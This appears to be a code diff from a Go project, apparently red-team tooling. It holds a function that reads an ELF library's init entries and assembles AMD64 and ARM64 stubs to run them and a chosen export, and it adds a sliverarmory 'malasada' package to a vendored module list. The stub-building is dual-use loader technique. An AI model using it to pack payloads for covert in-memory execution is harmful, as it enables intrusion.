||||
}
|
||||
fileOff, err := vaddrToFileOff(phdrs, arrayVaddr, arraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if fileOff+arraySz > uint64(len(so)) {
|
||||
return nil, fmt.Errorf("%w: init array outside file", errBadELF)
|
||||
}
|
||||
b := so[fileOff : fileOff+arraySz]
|
||||
out := make([]uint64, 0, arraySz/8)
|
||||
for i := uint64(0); i < arraySz; i += 8 {
|
||||
ptr := binary.LittleEndian.Uint64(b[i : i+8])
|
||||
if ptr != 0 {
|
||||
out = append(out, ptr)
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var initCalls []uint64
|
||||
// Match glibc's overall ordering:
|
||||
// - DT_PREINIT_ARRAY (executables)
|
||||
// - DT_INIT
|
||||
// - DT_INIT_ARRAY
|
||||
pre, err := readPtrArray(preinitArrayVaddr, preinitArraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
initCalls = append(initCalls, pre...)
|
||||
|
||||
if initVaddr != 0 {
|
||||
initCalls = append(initCalls, initVaddr)
|
||||
}
|
||||
|
||||
initArr, err := readPtrArray(initArrayVaddr, initArraySz)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
initCalls = append(initCalls, initArr...)
|
||||
|
||||
return initCalls, nil
|
||||
}
|
||||
|
||||
func makeEntryStub(arch Arch, stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
switch arch {
|
||||
case ArchLinuxAMD64:
|
||||
return makeStubAMD64(stubVaddr, exportVaddr, initVaddrs)
|
||||
case ArchLinuxARM64:
|
||||
return makeStubARM64(stubVaddr, exportVaddr, initVaddrs)
|
||||
default:
|
||||
return nil, fmt.Errorf("unsupported arch %v", arch)
|
||||
}
|
||||
}
|
||||
|
||||
func makeStubAMD64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
if stubVaddr+5 > 0xffffffff {
|
||||
// Keep the encoding simple (sub imm32).
|
||||
return nil, fmt.Errorf("stub vaddr too large for amd64 stub encoding")
|
||||
}
|
||||
|
||||
// Assemble the stub from textual assembly to keep it readable and reduce
|
||||
// manual byte encoding errors. We use explicit forms (like movabs) to keep
|
||||
// output byte-for-byte compatible with the historical encoding.
|
||||
var sb strings.Builder
|
||||
sb.WriteString(".code64\n")
|
||||
|
||||
// Base computation:
|
||||
// call next; pop rbx; sub rbx, (stub_vaddr+5) => rbx becomes the module base.
|
||||
// rbx = (retaddr == stub+5) - (stub_vaddr+5)
|
||||
sb.WriteString("call 5\n")
|
||||
sb.WriteString("pop rbx\n")
|
||||
fmt.Fprintf(&sb, "sub rbx, 0x%X\n", stubVaddr+5)
|
||||
|
||||
// Preserve entry stack pointer and compute (argc, argv, envp) once.
|
||||
// r15 = entry_rsp
|
||||
// r12 = argc
|
||||
// r13 = argv
|
||||
// r14 = envp
|
||||
sb.WriteString("mov r15, rsp\n")
|
||||
sb.WriteString("mov r12, [r15]\n")
|
||||
sb.WriteString("lea r13, [r15+8]\n")
|
||||
sb.WriteString("mov rcx, r12\n")
|
||||
sb.WriteString("add rcx, 2\n")
|
||||
sb.WriteString("shl rcx, 3\n")
|
||||
sb.WriteString("lea r14, [r15+rcx]\n")
|
||||
|
||||
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||
for _, vaddr := range initVaddrs {
|
||||
if vaddr == 0 {
|
||||
continue
|
||||
}
|
||||
// rdi = argc, rsi = argv, rdx = envp
|
||||
sb.WriteString("mov rdi, r12\n")
|
||||
sb.WriteString("mov rsi, r13\n")
|
||||
sb.WriteString("mov rdx, r14\n")
|
||||
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", vaddr)
|
||||
sb.WriteString("add rax, rbx\n")
|
||||
sb.WriteString("call rax\n")
|
||||
}
|
||||
|
||||
// Call the requested export (no args).
|
||||
fmt.Fprintf(&sb, "movabs rax, 0x%X\n", exportVaddr)
|
||||
sb.WriteString("add rax, rbx\n")
|
||||
sb.WriteString("call rax\n")
|
||||
|
||||
// exit_group(0)
|
||||
sb.WriteString("mov eax, 231\n")
|
||||
sb.WriteString("xor edi, edi\n")
|
||||
sb.WriteString("syscall\n")
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return engine.Assemble(sb.String(), 0)
|
||||
}
|
||||
|
||||
func makeStubARM64(stubVaddr uint64, exportVaddr uint64, initVaddrs []uint64) ([]byte, error) {
|
||||
// See internal notes in stage0: x19 = stub_start; base = x19 - stub_vaddr.
|
||||
// Then call init functions (DT_INIT/DT_INIT_ARRAY) and the requested export.
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("stub_start:\n")
|
||||
sb.WriteString("adr x19, stub_start\n")
|
||||
|
||||
// x20 = stub_vaddr
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(stubVaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(stubVaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(stubVaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(stubVaddr>>48))
|
||||
sb.WriteString("sub x19, x19, x20\n")
|
||||
|
||||
// Compute (argc, argv, envp) from the entry stack.
|
||||
// x21 = argc
|
||||
// x22 = argv (points to argv[0])
|
||||
// x23 = envp
|
||||
sb.WriteString("ldr x21, [sp]\n")
|
||||
sb.WriteString("add x22, sp, #8\n")
|
||||
sb.WriteString("add x23, x22, x21, lsl #3\n")
|
||||
sb.WriteString("add x23, x23, #8\n")
|
||||
|
||||
// Call init functions (DT_PREINIT_ARRAY/DT_INIT/DT_INIT_ARRAY).
|
||||
for _, vaddr := range initVaddrs {
|
||||
if vaddr == 0 {
|
||||
continue
|
||||
}
|
||||
sb.WriteString("mov x0, x21\n")
|
||||
sb.WriteString("mov x1, x22\n")
|
||||
sb.WriteString("mov x2, x23\n")
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(vaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(vaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(vaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(vaddr>>48))
|
||||
sb.WriteString("add x16, x19, x20\n")
|
||||
sb.WriteString("blr x16\n")
|
||||
}
|
||||
|
||||
// Call the requested export (no args).
|
||||
fmt.Fprintf(&sb, "movz x20, #0x%X\n", uint16(exportVaddr>>0))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #16\n", uint16(exportVaddr>>16))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #32\n", uint16(exportVaddr>>32))
|
||||
fmt.Fprintf(&sb, "movk x20, #0x%X, lsl #48\n", uint16(exportVaddr>>48))
|
||||
sb.WriteString("add x16, x19, x20\n")
|
||||
sb.WriteString("blr x16\n")
|
||||
|
||||
// exit_group(0)
|
||||
sb.WriteString("movz x8, #94\n")
|
||||
sb.WriteString("movz x0, #0\n")
|
||||
sb.WriteString("svc #0\n")
|
||||
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
return engine.Assemble(sb.String(), 0)
|
||||
}
|
||||
Vendored
+4
@@ -1270,6 +1270,10 @@ github.com/slack-go/slack/slackutilsx
|
||||
github.com/sliverarmory/beignet
|
||||
github.com/sliverarmory/beignet/internal/aplib
|
||||
github.com/sliverarmory/beignet/internal/stager
|
||||
# github.com/sliverarmory/malasada v0.0.2
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/malasada
|
||||
github.com/sliverarmory/malasada/internal/aplib
|
||||
# github.com/sliverarmory/wasm-donut v0.0.3
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/wasm-donut
|
||||
|
||||
Reference in new issue
Block a user